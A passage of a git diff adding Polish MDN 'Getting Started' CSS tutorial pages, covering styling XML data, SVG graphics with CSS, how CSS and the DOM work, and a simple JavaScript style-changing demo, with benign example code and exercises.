+</ocean> + +</planet> +</pre></div> +<p>Stwórz nowy plik CSS, <code>style9.css</code>. +Skopiuj i wklej do niego poniższy kod, upewniając się, że zaznaczyłeś(aś) cały: +</p> +<div style="width: 48em; height: 12em; overflow: auto;"><pre>/*** XML demonstration ***/ + +planet:before { + display: block; + width: 8em; + font-weight: bold; + font-size: 200%; + content: "Oceans"; + margin: -.75em 0px .25em -.25em; + padding: .1em .25em; + background-color: #cdf; + } + +planet { + display: block; + margin: 2em 1em; + border: 4px solid #cdf; + padding: 0px 1em; + background-color: white; + } + +ocean { + display: block; + margin-bottom: 1em; + } + +name { + display: block; + font-weight: bold; + font-size: 150%; + } + +area { + display: block; + } + +area:before { + content: "Area: "; + } + +area:after { + content: " million km\B2"; + } + +depth { + display: block; + } + +depth:before { + content: "Mean depth: "; + } + +depth:after { + content: " m"; + } +</pre></div> +<p>Otwórz dokument w swojej przeglądarce: +</p> +<table style="border: 2px outset #36b; padding: 1em;"> +<tbody><tr> +<td><div style="border: 2px solid #cdf; border-bottom: none; padding: .5em 8em 1em .5em;"> +<p style="font-size: 150%; font-weight: bold; margin: -1em 0px 0px 0px; padding: .1em .25em; background-color: #cdf; width: 8em;">Oceans</p> +<p style="font-size: 75%; margin: .25em 0px 0px 0px; line-height: 110%;"><b>Arctic</b><br> +Area: 13,000 million km²<br> +Mean depth: 1,200 m</p> +<p style="font-size: 75%; margin: .5em 0px 0px 0px; line-height: 110%;"><b>Atlantic</b><br> +Area: 87,000 million km²<br> +Mean depth: 3,900 m</p> +<p style="font-size: 75%; margin: .5em 0px 0px 0px; line-height: 110%;"><b>. . .</b></p> +</div> +</td></tr></tbody></table> +<p><br> +Uwagi dotyczące tej demonstracji: +</p> +<ul><li>Indeks górny 2 (w "miliony km²") jest znakiem Unicode, zakodowanym jako <code>\B2</code> w pliku CSS. +</li><li> Nagłówek "Oceany" ma ujemny górny margines zewnętrzny, przesuwający go w górę, dzięki czemu jest wyświetlany nad ramką. +</li></ul> +<p><br> +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;"> +<caption>Wyzwanie +</caption><tbody><tr> +<td> Zmień arkusz stylów, aby wyświetlał dokument jako tabelę. +<p>(Zajrzyj na stronę <a class="external" href="http://www.w3.org/TR/CSS21/tables.html">Tables</a> w specyfikacji CSS, aby znaleźć przykłady.) +</p> +</td></tr></tbody></table> +<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4> +<p>Jeżeli masz problemy ze zrozumieniem tej strony, lub jeżeli masz jakieś komentarze na jej temat, pomóż nam dopisując się na stronie <a>Dyskusji</a>. +</p><p>To jest ostatnia strona tego kursu. +Więcej informacji na temat CSS w Mozilli możesz znaleźć na głównej stronie <a href="pl/CSS">CSS</a>-a na tym wiki. +</p>{{ languages( { "en": "en/CSS/Getting_Started/XML_data", "fr": "fr/CSS/Premiers_pas/Donn\u00e9es_XML", "pt": "pt/CSS/Como_come\u00e7ar/Dados_XML", "ko": "ko/CSS/Getting_Started/XML_data" } ) }} diff --git a/files/pl/web/css/na_początek/grafika_svg/index.html b/files/pl/web/css/na_początek/grafika_svg/index.html new file mode 100644 index 0000000000..1581fbdcd8 --- /dev/null +++ b/files/pl/web/css/na_początek/grafika_svg/index.html @@ -0,0 +1,195 @@ +--- +title: Grafika SVG +slug: Web/CSS/Na_początek/Grafika_SVG +tags: + - 'CSS:Na_początek' +translation_of: Web/SVG/Tutorial/SVG_and_CSS +--- +<p> +</p><p>Ta strona ilustruje specjalny język do tworzenia grafiki: SVG. +</p><p>Stworzysz prostą demonstrację, która działa w przeglądarce Mozilli z obsługą SVG. </p> +<h3 id="Informacja:_SVG" name="Informacja:_SVG"> Informacja: SVG </h3> +<p><i>SVG</i> (Skalowalna Grafika Wektorowa) jest bazującym na XML-u językiem do tworzenia grafiki. +</p><p>Może być używana do tworzenia statycznych obrazków, ale także animacji i interfejsów użytkownika. +</p><p>Podobnie jak inne bazujące na XML-u języki, SVG obsługuje arkusze stylów CSS, dzięki czemu możesz oddzielić styl grafiki od jej zawartości. +</p><p>Ponadto, arkusz stylów, którego używasz w innych językach znaczników dokumentu, może wskazywać adres grafiki SVG tam, gdzie potrzebny jest obrazek. +Na przykład, arkusz stylów, którego używasz w dokumencie HTML może wskazywać na adres URL grafiki SVG jako wartość własności <code>background</code>. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em; width: 100%;"> +<caption>Więcej szczegółów +</caption><tbody><tr> +<td> W trakcie pisania tego kursu (połowa 2005) tylko najnowsze wydania przeglądarek Mozilli posiadają wbudowaną obsługę SVG. +<p>Możesz dodać wsparcie dla SVG do innych wersji instalując wtyczkę taką, jak ta wydana przez <a class="external" href="http://www.adobe.com/svg/viewer/install/main.html">Adobe</a>. +</p><p>Aby dowiedzieć się więcej o SVG w Mozilli, zajrzyj na stronę <a href="pl/SVG">SVG</a> w tym wiki. +</p> +</td></tr></tbody></table> +<h3 id="Zadanie:_Demonstracja_SVG" name="Zadanie:_Demonstracja_SVG"> Zadanie: Demonstracja SVG </h3> +<p>Stwórz nowy dokument SVG jako czysty plik tekstowy, <code>doc8.svg</code>. +Skopiuj i wklej do niego poniższy kod, upewniając się, że zaznaczyłeś(aś) cały: +</p> +<div style="width: 48em; height: 12em; overflow: auto;"><pre><?xml version="1.0" standalone="no"?> + +<?xml-stylesheet type="text/css" href="style8.css"?> + +<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" + "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> + +<svg width="600px" height="600px" viewBox="-300 -300 600 600" + xmlns="http://www.w3.org/2000/svg" version="1.1" + xmlns:xlink="http://www.w3.org/1999/xlink"> + +<title>SVG demonstration</title> +<desc>Mozilla CSS Getting Started - SVG demonstration</desc> + +<defs> + <g id="segment" class="segment"> + <path class="segment-fill" d="M0,0 v-200 a40,40 0 0,0 -62,10 z"/> + <path class="segment-edge" d="M0,-200 a40,40 0 0,0 -62,10"/> + </g> + <g id="quadrant"> + <use xlink:href="#segment"/> + <use xlink:href="#segment" transform="rotate(18)"/> + <use xlink:href="#segment" transform="rotate(36)"/> + <use xlink:href="#segment" transform="rotate(54)"/> + <use xlink:href="#segment" transform="rotate(72)"/> + </g> + <g id="petals"> + <use xlink:href="#quadrant"/> + <use xlink:href="#quadrant" transform="rotate(90)"/> + <use xlink:href="#quadrant" transform="rotate(180)"/> + <use xlink:href="#quadrant" transform="rotate(270)"/> + </g> + <radialGradient id="fade" cx="0" cy="0" r="200" + gradientUnits="userSpaceOnUse"> + <stop id="fade-stop-1" offset="33%"/> + <stop id="fade-stop-2" offset="95%"/> + </radialGradient> + </defs> + +<text id="heading" x="-280" y="-270"> + SVG demonstration</text> +<text id="caption" x="-280" y="-250"> + Move your mouse pointer over the flower.</text> + +<g id="flower"> + <circle id="overlay" cx="0" cy="0" r="200" + stroke="none" fill="url(#fade)"/> + <use id="outer-petals" xlink:href="#petals"/> + <use id="inner-petals" xlink:href="#petals" + transform="rotate(9) scale(0.33)"/> + </g> + +</svg> +</pre></div> +<p>Stwórz nowy plik CSS, <code>style8.css</code>. +Skopiuj i wklej do niego poniższy kod, upewniając się, że zaznaczyłeś(aś) cały: +</p> +<div style="width: 48em; height: 12em; overflow: auto;"><pre>/*** SVG demonstration ***/ + +/* page */ +svg { + background-color: beige; + } + +#heading { + font-size: 24px; + font-weight: bold; + } + +#caption { + font-size: 12px; + } + +/* flower */ +#flower:hover { + cursor: crosshair; + } + +/* gradient */ +#fade-stop-1 { + stop-color: blue; + } + +#fade-stop-2 { + stop-color: white; + } + +/* outer petals */ +#outer-petals { + opacity: .75; + } + +#outer-petals .segment-fill { + fill: azure; + stroke: lightsteelblue; + stroke-width: 1; + } + +#outer-petals .segment-edge { + fill: none; + stroke: deepskyblue; + stroke-width: 3; + } + +#outer-petals .segment:hover > .segment-fill { + fill: plum; + stroke: none; + } + +#outer-petals .segment:hover > .segment-edge { + stroke: slateblue; + } + +/* inner petals */ +#inner-petals .segment-fill { + fill: yellow; + stroke: yellowgreen; + stroke-width: 1; + } + +#inner-petals .segment-edge { + fill: none; + stroke: yellowgreen; + stroke-width: 9; + } + +#inner-petals .segment:hover > .segment-fill { + fill: darkseagreen; + stroke: none; + } + +#inner-petals .segment:hover > .segment-edge { + stroke: green; + } +</pre></div> +<p>Otwórz ten dokument w swojej przeglądarce z obsługą SVG. Przesuwaj kursor myszy nad grafiką. +</p><p>To wiki nie obsługuję SVG na stronach, więc nie jest możliwe pokazanie demonstracji. +Grafika wygląda mniej więcej tak: +</p> +<table style="border: 2px outset #36b;"> +<tbody><tr> +<td><img alt="Demonstracja SVG"> +</td></tr></tbody></table> +<p>Uwagi dotyczące tej demonstracji: +</p> +<ul><li>Dokument SVG posiada odnośniki do arkusza stylów. +</li><li>SVG posiada własne własności i wartości CSS. Niektóre z nich są podobne do własności CSS dla HTML-a. +</li></ul> +<p><br> +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;"> +<caption>Wyzwanie +</caption><tbody><tr> +<td> Zmień ten arkusz stylów, aby wewnętrzne płatki zmieniały się wszystkie na różowy, kiedy wskaźnik myszy znajduje się nad jednym z nich, bez zmiany działania zewnętrznych płatków. +</td></tr></tbody></table> +<p><br> +</p> +<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4> +<p>Jeżeli masz problemy ze zrozumieniem tej strony, lub jeżeli masz jakieś komentarze na jej temat, pomóż nam dopisując się na stronie <a>Dyskusji</a>. +</p><p>W tej demonstracji Twoja przeglądarka, obsługująca SVG, umie już wyświetlić elementy SVG. +Arkusz stylów modyfikuje tylko sposób wyświetlania elementów. +Tak samo dzieje się z dokumentami HTML i XUL. +Możesz też używać CSS-a w dokumentach XML ogólnego przeznaczenia, gdzie nie istnieje domyślny sposób wyświetlania elementów. +Następna strona omawia ten temat: +<b><a href="pl/CSS/Na_pocz%c4%85tek/Dane_XML">Dane XML</a></b> +</p>{{ languages( { "en": "en/CSS/Getting_Started/SVG_graphics", "fr": "fr/CSS/Premiers_pas/Graphiques_SVG", "pt": "pt/CSS/Como_come\u00e7ar/Gr\u00e1ficos_SVG" } ) }} diff --git a/files/pl/web/css/na_początek/index.html b/files/pl/web/css/na_początek/index.html new file mode 100644 index 0000000000..dd8cd83dcb --- /dev/null +++ b/files/pl/web/css/na_początek/index.html @@ -0,0 +1,63 @@ +--- +title: Na początek +slug: Web/CSS/Na_początek +tags: + - CSS + - 'CSS:Na_początek' + - Wszystkie_kategorie +translation_of: Learn/CSS/First_steps +--- +<p> </p> +<h3 id="Wprowadzenie" name="Wprowadzenie">Wprowadzenie</h3> +<p>Ten kurs wprowadza użytkownika w świat kaskadowych arkuszy stylów (CSS).</p> +<p>Pokaże Ci on, jak korzystać z podstawowych funkcji CSS przy użyciu praktycznych przykładów, które możesz sprawdzić na swoim komputerze. Kurs składa się z dwóch części.</p> +<ul> + <li>Część I ilustruje podstawowe funkcje CSS, które działają w Mozilli oraz innych nowoczesnych przeglądarkach.</li> +</ul> +<ul> + <li>Część II zawiera przykłady specjalnych funkcji działających w Mozilli, ale niekoniecznie działających w innych środowiskach.</li> +</ul> +<p>Ten kurs bazuje na <a class="external" href="http://www.w3.org/TR/CSS21/">specyfikacji CSS 2.1</a>.</p> +<h4 id="Kto_mo.C5.BCe_skorzysta.C4.87_z_tego_kursu.3F" name="Kto_mo.C5.BCe_skorzysta.C4.87_z_tego_kursu.3F">Kto może skorzystać z tego kursu?</h4> +<p>Kurs jest przeznaczony dla początkujących, ale może być też przydatny dla osób mających już pewną wiedzę o CSS.</p> +<p>Jeżeli jesteś początkujący, skorzystaj z pierwszej części tego kursu, by zrozumieć działanie CSS i nauczyć się go używać. Potem przeczytaj część drugą, aby zrozumieć zakres wykorzystania CSS w produktach Mozilli.</p> +<p>Jeżeli znasz już trochę CSS, możesz pominąć części kursu, które omawiają znane Ci tematy i skupić się na tych, które są dla Ciebie nowe.</p> +<p>Jeżeli znasz dobrze CSS, ale nie w Mozilli, przejdź do części drugiej.</p> +<h4 id="Czego_potrzebujesz.2C_zanim_zaczniesz.3F" name="Czego_potrzebujesz.2C_zanim_zaczniesz.3F">Czego potrzebujesz, zanim zaczniesz?</h4> +<p>Aby móc swobodnie korzystać z tego kursu, potrzebujesz edytora plików tekstowych oraz przeglądarkę Mozilla (Firefox lub Mozilla Suite) i powinieneś umieć korzystać z obu tych produktów w podstawowym zakresie.</p> +<p>Jeżeli nie chcesz edytować plików, możesz po prostu czytać kurs i patrzeć na obrazki, ale taka metoda nauki jest znacznie mniej efektywna.</p> +<p>Niektóre części tego kursu mogą wymagać innych aplikacji Mozilli. Części te są opcjonalne. Jeżeli nie chcesz pobierać innych aplikacji Mozilli, po prostu pomiń je.</p> +<p><strong>Uwaga: </strong> CSS umożliwia pracę z kolorami, więc niektóre części kursu zależą od kolorów. Możesz z nich wygodnie korzystać, jeśli posiadasz kolorowy wyświetlacz i prawidłowo rozróżniasz kolory.</p> +<h4 id="Jak_korzysta.C4.87_z_tego_kursu" name="Jak_korzysta.C4.87_z_tego_kursu">Jak korzystać z tego kursu</h4> +<p>Aby korzystać z tego kursu, przeczytaj uważnie wszystkie strony po kolei. Jeżeli pominiesz jedną stronę, możesz mieć trudności z rozumieniem dalszych.</p> +<p>Na każdej stronie sekcja <i>Informacja</i> opisuje, jak działa CSS. Dzięki sekcji <i>Zadanie</i> będziesz mógł wypróbować użycie CSS na swoim komputerze.</p> +<p>Aby sprawdzić, jak dobrze rozumiesz treść, podejmij wyzwanie znajdujące się na dole każdej strony. Rozwiązania niektórych wyzwań są prezentowane na późniejszych stronach kursu.</p> +<p>Aby lepiej zrozumieć CSS, przeczytaj informacje znajdujące się w boksach oznaczonych <i>Więcej szczegółów</i>. Użyj znajdujących się tam odnośników, aby dowiedzieć się więcej ze specyfikacji CSS.</p> +<h3 id="Kurs_.E2.80.93_cz.C4.99.C5.9B.C4.87_pierwsza" name="Kurs_.E2.80.93_cz.C4.99.C5.9B.C4.87_pierwsza">Kurs – część pierwsza</h3> +<p>Podstawowy kurs CSS, krok po kroku.</p> +<ol> + <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Czym_jest_CSS">Czym jest CSS</a></b></li> + <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Po_co_u%c5%bcywa%c4%87_CSS">Po co używać CSS</a></b></li> + <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Jak_dzia%c5%82a_CSS">Jak działa CSS</a></b></li> + <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Kaskadowo%c5%9b%c4%87_i_dziedziczenie">Kaskadowość i dziedziczenie</a></b></li> + <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Selektory">Selektory</a></b></li> + <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Czytelny_CSS">Czytelny CSS</a></b></li> + <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Style_tekstowe">Style tekstowe</a></b></li> + <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Kolor">Kolor</a></b></li> + <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Tre%c5%9b%c4%87">Treść</a></b></li> + <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Listy">Listy</a></b></li> + <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Bloki">Bloki</a></b></li> + <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Uk%c5%82ad">Układ</a></b></li> + <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Tabele">Tabele</a></b></li> + <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Media">Media</a></b></li> +</ol> +<h3 id="Kurs_.E2.80.93_cz.C4.99.C5.9B.C4.87_druga" name="Kurs_.E2.80.93_cz.C4.99.C5.9B.C4.87_druga">Kurs – część druga</h3> +<p>Przykłady wykorzystania CSS w Mozilli.</p> +<ol> + <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/JavaScript">JavaScript</a></b></li> + <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Wi%c4%85zania_XBL">Wiązania XBL</a></b></li> + <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/XUL-owe_interfejsy_u%c5%bcytkownika">XUL-owe interfejsy użytkownika</a></b></li> + <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Grafika_SVG">Grafika SVG</a></b></li> + <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Dane_XML">Dane XML</a></b></li> +</ol> +<p>{{ languages( { "en": "en/CSS/Getting_Started", "fr": "fr/CSS/Premiers_pas", "it": "it/Conoscere_i_CSS", "ja": "ja/CSS/Getting_Started", "nl": "nl/CSS/Voor_Beginners", "zh-cn": "cn/CSS/\u5f00\u59cb", "pt": "pt/CSS/Como_come\u00e7ar" } ) }}</p> diff --git a/files/pl/web/css/na_początek/jak_działa_css/index.html b/files/pl/web/css/na_początek/jak_działa_css/index.html new file mode 100644 index 0000000000..f660589f31 --- /dev/null +++ b/files/pl/web/css/na_początek/jak_działa_css/index.html @@ -0,0 +1,113 @@ +--- +title: Jak działa CSS +slug: Web/CSS/Na_początek/Jak_działa_CSS +tags: + - 'CSS:Na_początek' +translation_of: Learn/CSS/First_steps/How_CSS_works +--- +<p> +</p><p>Ta strona wyjaśnia, jak działa CSS w przeglądarce. +Przeanalizujesz przykładowy dokument, poznając szczegóły jego stylów. +</p> +<h3 id="Informacja:_Jak_dzia.C5.82a_CSS" name="Informacja:_Jak_dzia.C5.82a_CSS"> Informacja: Jak działa CSS </h3> +<p>Kiedy Mozilla wyświetla dokument, musi połączyć treść dokumentu z jego informacjami o stylu. Tak więc dzieli ona proces na dwa etapy: +</p> +<ul><li> W pierwszym Mozilla zmienia język znaczników oraz CSS w <i>DOM</i> (Model Obiektowy Dokumentu). DOM jest reprezentacją dokumentu w pamięci komputera. Wiąże on treść dokumentu z jego stylem. +</li></ul> +<ul><li> W drugim etapie Mozilla wyświetla ten DOM. +</li></ul> +<p>Język znaczników używa znaczników do opisywania struktury dokumentu. Znacznik może być kontenerem, zawierającym inne znaczniki. +</p><p>DOM posiada strukturę drzewiastą. Każdy znacznik i fragment tekstowy w języku znaczników staje się <i>węzłem</i> w strukturze drzewiastej. Węzły DOM nie są kontenerami. W zamian za to mogą posiadać węzły rodziców i dzieci. +</p><p>Węzły, które odpowiadają znacznikom, znane są także jako <i>elementy</i>. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;"> +<caption>Przykład +</caption><tbody><tr> +<td> W Twoim przykładowym dokumencie znacznik <code><P></code> i jego znacznik <code></P></code> tworzą kontener: +<div style="width: 24em;"> +<pre class="eval"><P> + <STRONG>C</STRONG>ascading + <STRONG>S</STRONG>tyle + <STRONG>S</STRONG>heets +</P> +</pre> +</div> +<p>W DOM odpowiadający węzeł P jest rodzicem. +Jego dzieci to węzły <small>STRONG</small> oraz węzły tekstowe. +Węzły <small>STRONG</small> same są rodzicami posiadającymi węzły tekstowe jako swoje dzieci: +</p> +<div style="width: 24em; color: #47c; white-space: pre; padding: 0 0 0 2em;"> +<p><span style="color: black;">P</span> +├─<span style="color: black;">STRONG</span> +│ │ +│ └─"<span style="color: black;">C</span>" +│ +├─"<span style="color: black;">ascading</span>" +│ +├─<span style="color: black;">STRONG</span> +│ │ +│ └─"<span style="color: black;">S</span>" +│ +├─"<span style="color: black;">tyle</span>" +│ +├─<span style="color: black;">STRONG</span> +│ │ +│ └─"<span style="color: black;">S</span>" +│ +└─"<span style="color: black;">heets</span>" +</p> +</div> +</td></tr></tbody></table> +<p>Zrozumienie DOM pomaga w tworzeniu, debugowaniu i zarządzaniu CSS, ponieważ DOM jest punktem, w którym łączona jest treść dokumentu ze stylami CSS. +</p> +<h3 id="Zadanie:_Analiza_DOM" name="Zadanie:_Analiza_DOM"> Zadanie: Analiza DOM </h3> +<p>Do analizy DOM potrzebny jest specjalny program. +Służy do tego na przykład <a href="pl/Inspektor_DOM">Inspektor DOM</a> Mozilli. +</p><p>Użyj przeglądarki Mozilla do otworzenia przykładowego dokumentu. +</p><p>Z paska menu przeglądarki wybierz Narzędzia – Inspektor DOM lub Narzędzia – Programowanie WWW – Inspektor DOM. +</p> +<table style="border: 1px solid #36b; background-color: #f4f4f4; padding: 1em;"> +<caption>Więcej szczegółów +</caption><tbody><tr> +<td> Jeżeli Twoja przeglądarka Mozilli nie posiada Inspektora DOM, możesz zainstalować przeglądarkę ponownie, zaznaczając przy instalacji komponent narzędzi programistycznych. Potem wróć do tego kursu. +<p><small><b>DevmoPL</b>: Możesz też zainstalować DOMi jako rozszerzenie</small> +</p><p>Jeżeli nie chcesz instalować Inspektora DOM, możesz pominąć ten rozdział i przejść do następnej strony. Pominięcie tej sekcji nie wpłynie na resztę kursu. +</p> +</td></tr></tbody></table> +<p>W Inspektorze DOM rozwiń węzły dokumentu, klikając na strzałki. +</p><p><b>Notka: </b> Formatowanie spacjami dokumentu HTML spowoduje, że pojawią się puste węzły, które możesz zignorować. +</p><p>Część wyniku może wyglądać tak: +</p> +<table style="border: 2px outset #36b; padding: 0 0 0 2em;"> +<tbody><tr> +<td><div style="width: 30em; background-color: transparent; margin: 0px; border: 0px; padding: 0px; color: gray; white-space: pre;"> +<p>│ +<span style="font-size: 133%;">▼</span>╴<span style="color: black;">P</span> +│ │ +│ <span style="font-size: 133%;">▼</span>╴<span style="color: black;">STRONG</span> +│ │ └<span style="color: darkblue;">#text</span> +│ ├╴<span style="color: darkblue;">#text</span> +│ <span style="font-size: 133%;">▶</span>╴<span style="color: black;">STRONG</span> +│ │ +</p> +</div> +</td></tr></tbody></table> +<p>Kiedy wybierasz jakikolwiek węzeł, możesz dowiedzieć się o nim więcej, używając prawej kolumny Inspektora DOM. +Na przykład po wybraniu węzła tekstowego Inspektor DOM pokazuje jego zawartość w prawej kolumnie. +</p><p>Kiedy zaznaczasz węzeł elementu, Inspektor DOM analizuje go i podaje w prawym panelu ogromną liczbę informacji. Informacje o stylu są tylko częścią informacji, jakie można tam znaleźć. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #ffe;"> +<caption>Wyzwanie +</caption><tbody><tr> +<td> W Inspektorze DOM wybierz węzeł <small>STRONG</small>. +<p>Skorzystaj z prawego panelu Inspektora, aby dowiedzieć się, gdzie kolor węzła ustawiony został na czerwony i gdzie jego wygląd jest ustawiany na grubszy niż normalny tekst. +</p> +</td></tr></tbody></table> +<p><br> +</p> +<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4> +<p>Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie <a>Dyskusji</a>. +</p><p>Jeżeli podjąłeś(podjęłaś) wyzwanie, widzisz, że informacje o stylu z wielu miejsc wiążą się, tworząc końcowy styl elementu. +</p><p>Następna strona wyjaśnia więcej na temat tych interakcji: +<b><a href="pl/CSS/Na_pocz%c4%85tek/Kaskadowo%c5%9b%c4%87_i_dziedziczenie">Kaskadowość i dziedziczenie</a></b> +</p>{{ languages( { "en": "en/CSS/Getting_Started/How_CSS_works", "fr": "fr/CSS/Premiers_pas/Fonctionnement_de_CSS", "it": "it/Conoscere_i_CSS/Come_funzionano_i_CSS", "ja": "ja/CSS/Getting_Started/How_CSS_works", "pt": "pt/CSS/Como_come\u00e7ar/Como_o_CSS_trabalha", "zh-cn": "cn/CSS/Getting_Started/How_CSS_works" } ) }} diff --git a/files/pl/web/css/na_początek/javascript/index.html b/files/pl/web/css/na_początek/javascript/index.html new file mode 100644 index 0000000000..68a2900407 --- /dev/null +++ b/files/pl/web/css/na_początek/javascript/index.html @@ -0,0 +1,126 @@ +--- +title: JavaScript +slug: Web/CSS/Na_początek/JavaScript +tags: + - 'CSS:Na_początek' +translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents +--- +<p> +</p><p>Jest to druga część tego kursu. Część II zawiera trochę przykładów pokazujących zakres użycia CSS w Mozilli. +</p><p>Każda strona Części II ilustruje jak CSS współpracuje z innymi technologiami. +Te strony nie zostały stworzone po to, aby nauczyć Cię korzystać z tych technologii. +Jeśli chcesz je poznać, skorzystaj z innych kursów. +</p><p>Natomiast, te strony zostały stworzone po to, aby pokazać wiele możliwości wykorzystania CSS. +Aby używać tych stron, powinieneś(aś) znać CSS, ale nie musisz znać innych technologii. +</p> +<h3 id="Informacja:_JavaScript" name="Informacja:_JavaScript"> Informacja: JavaScript </h3> +<p>JavaScript jest <i>językiem programowania</i>. +Duża część kodu aplikacji Mozilla (na przykład przeglądarki) jest napisana w JavaScripcie. +</p><p>JavaScript może współpracować z arkuszami stylów, pozwalając Ci pisać aplikacje, które dynamicznie zmieniają styl dokumentu. +</p><p>Istnieją na to trzy sposoby: +</p> +<ul><li>Przez pracę z listę arkuszy stylów dokumentu — na przykład: dodawanie, usuwanie i zmienianie arkusza stylów. +</li><li>Przez pracę z regułami w arkuszu stylów — na przykład: dodawanie, usuwanie lub modyfikowanie reguł. +</li><li>Przez pracę z pojedynczymi elementami w DOM — modyfikowanie jego stylu niezależnie od arkusza stylów dokumentu. +</li></ul> +<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em; width: 100%;"> +<caption>Więcej szczegółów +</caption><tbody><tr> +<td> Aby dowiedzieć się więcej o JavaScripcie w Mozilli, zajrzyj na stronę <a href="pl/JavaScript">JavaScript</a> na tym wiki. +</td></tr></tbody></table> +<h3 id="Zadanie:_Demonstracja_wykorzystania_Javascript-u" name="Zadanie:_Demonstracja_wykorzystania_Javascript-u"> Zadanie: Demonstracja wykorzystania Javascript-u </h3> +<p>Stwórz nowy dokument HTML, <code>doc5.html</code>. +Skopiuj i wklej poniższy kod, upewniając się, że zaznaczyłeś(aś) cały: +</p> +<div style="width: 48em; height: 12em; overflow: auto;"><pre><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"> +<HTML> + +<HEAD> +<TITLE>Mozilla CSS Getting Started - JavaScript demonstration</TITLE> +<LINK rel="stylesheet" type="text/css" href="style5.css"> +<SCRIPT type="text/javascript" src="script5.js"></SCRIPT> +</HEAD> + +<BODY> +<H1>JavaScript sample</H1> + +<DIV id="square"></DIV> + +<BUTTON type="button" onclick="doDemo(this);">Click Me</BUTTON> + +</BODY> +</HTML> +</pre></div> +<p>Stwórz nowy plik CSS, <code>style5.css</code>. +Skopiuj i wklej do niego poniższy kod: +</p> +<div style="width: 48em;"><pre>/*** JavaScript demonstration ***/ +#square { + width: 20em; + height: 20em; + border: 2px inset gray; + margin-bottom: 1em; + } + +button { + padding: .5em 2em; + } +</pre></div> +<p>Stwórz nowy plik tekstowy, <code>script5.js</code>. +Skopiuj i wklej do niego poniższy kod: +</p> +<div style="width: 48em;"><pre>// JavaScript demonstration +function doDemo (button) { + var square = document.getElementById("square") + square.style.backgroundColor = "#fa4" + button.setAttribute("disabled", "true") + setTimeout(clearDemo, 2000, button) + } + +function clearDemo (button) { + var square = document.getElementById("square") + square.style.backgroundColor = "transparent" + button.removeAttribute("disabled") + } +</pre></div> +<p>Otwórz dokument w swojej przeglądarce i naciśnij przycisk. +</p><p>To wiki nie obsługuje JavaScriptu na stronach, więc nie jest możliwe zademonstrowanie działania tego kodu tutaj. +Wygląda to mniej więcej jak poniżej, przed i po naciśnięciu przycisku: +</p> +<table> +<tbody><tr> +<td style="padding-right: 2em;"> +<table style="border: 2px outset #36b; padding: 0 1em .5em .5em;"> +<tbody><tr> +<td><p><b>JavaScript demonstration</b></p> +<div style="width: 5em; height: 5em; border: 2px inset gray; background-color: white;"> +<div style="width: 2em; height: 1em; border: 1px outset black; background-color: #ccc; margin-top: 4px;"> +</div></div></td></tr></tbody></table> +</td><td> +<table style="border: 2px outset #36b; padding: 0 1em .5em .5em;"> +<tbody><tr> +<td><p><b>JavaScript demonstration</b></p> +<div style="width: 5em; height: 5em; border: 2px inset gray; background-color: #fa4;"> +<div style="width: 2em; height: 1em; border: 1px inset black; background-color: #ccc; margin-top: 4px;"> +</div></div></td></tr></tbody></table> +</td></tr></tbody></table> +<p>Uwagi dotyczące demonstracji: +</p> +<ul><li>Dokument HTML ma podpięty arkusz stylów, a także plik ze skryptem. +</li><li>Skrypt operuje na niezależnych elementach w DOM-ie. Modyfikuje styl obiektów bezpośrednio. Modyfikuje styl przycisku pośrednio, zmieniając jego atrybut. +</li><li>W JavaScripcie <code>document.getElementById("square")</code> jest podobne w działaniu do selektora CSS <code>#square</code>. +</li><li>W JavaScripcie <code>backgroundColor</code> odpowiada własności <code>background-color</code> w CSS. +</li><li>Twoja przeglądarka posiada wbudowaną regułę CSS dla <code>button{{ mediawiki.external('disabled=\"true\"') }}</code>, która zmienia wygląd przycisku, kiedy zostaje on wyłączony. +</li></ul> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: .5em;"> +<caption>Wyzwanie +</caption><tbody><tr> +<td> Zmień skrypt tak, aby obiekt square skakał w prawo o 20 em, kiedy jego kolor się zmienia, i skakał z powrotem, kiedy kolor wraca do podstawowego. +</td></tr></tbody></table> +<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4> +<p>Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie <a>Dyskusji</a>. +</p><p>W tej demonstracji dokument HTML posiada odnośnik do skryptu, mimo że używa go tylko element przycisku. +Mozilla rozszerza CSS, aby umożliwić wiązanie kodu JavaScript 